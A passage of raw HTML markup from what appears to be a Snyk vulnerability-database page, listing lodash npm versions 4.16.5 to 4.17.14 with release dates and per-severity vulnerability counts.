</span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>1</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.17.14\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.17.14\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.17.14\" published=\"10 Jul, 2019\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.17.14\" data-v-90f947a4>\n          10 Jul, 2019\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>1</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.17.13\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.17.13\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.17.13\" published=\"9 Jul, 2019\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.17.13\" data-v-90f947a4>\n          9 Jul, 2019\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>1</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.17.12\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.17.12\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.17.12\" published=\"9 Jul, 2019\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.17.12\" data-v-90f947a4>\n          9 Jul, 2019\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>1</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.17.11\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.17.11\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.17.11\" published=\"12 Sep, 2018\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.17.11\" data-v-90f947a4>\n          12 Sep, 2018\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>1</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.17.10\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.17.10\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.17.10\" published=\"24 Apr, 2018\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.17.10\" data-v-90f947a4>\n          24 Apr, 2018\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>5</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>2</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.17.9\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.17.9\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.17.9\" published=\"24 Apr, 2018\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.17.9\" data-v-90f947a4>\n          24 Apr, 2018\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>5</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>2</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.17.5\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.17.5\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.17.5\" published=\"4 Feb, 2018\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.17.5\" data-v-90f947a4>\n          4 Feb, 2018\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>5</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>2</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.17.4\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.17.4\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.17.4\" published=\"31 Dec, 2016\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.17.4\" data-v-90f947a4>\n          31 Dec, 2016\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>5</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.17.3\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.17.3\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.17.3\" published=\"24 Dec, 2016\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.17.3\" data-v-90f947a4>\n          24 Dec, 2016\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>5</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.17.2\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.17.2\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.17.2\" published=\"16 Nov, 2016\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.17.2\" data-v-90f947a4>\n          16 Nov, 2016\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>5</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.17.1\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.17.1\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.17.1\" published=\"15 Nov, 2016\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.17.1\" data-v-90f947a4>\n          15 Nov, 2016\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>5</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.17.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.17.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.17.0\" published=\"14 Nov, 2016\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.17.0\" data-v-90f947a4>\n          14 Nov, 2016\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>5</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.16.6\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.16.6\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.16.6\" published=\"1 Nov, 2016\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.16.6\" data-v-90f947a4>\n          1 Nov, 2016\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>5</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/4.16.5\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                4.16.5\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"4.16.5\" published=\"31 Oct, 2016\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/4.16.5\" data-v-90f947a4>\n          31 Oct, 2016\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>5</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span 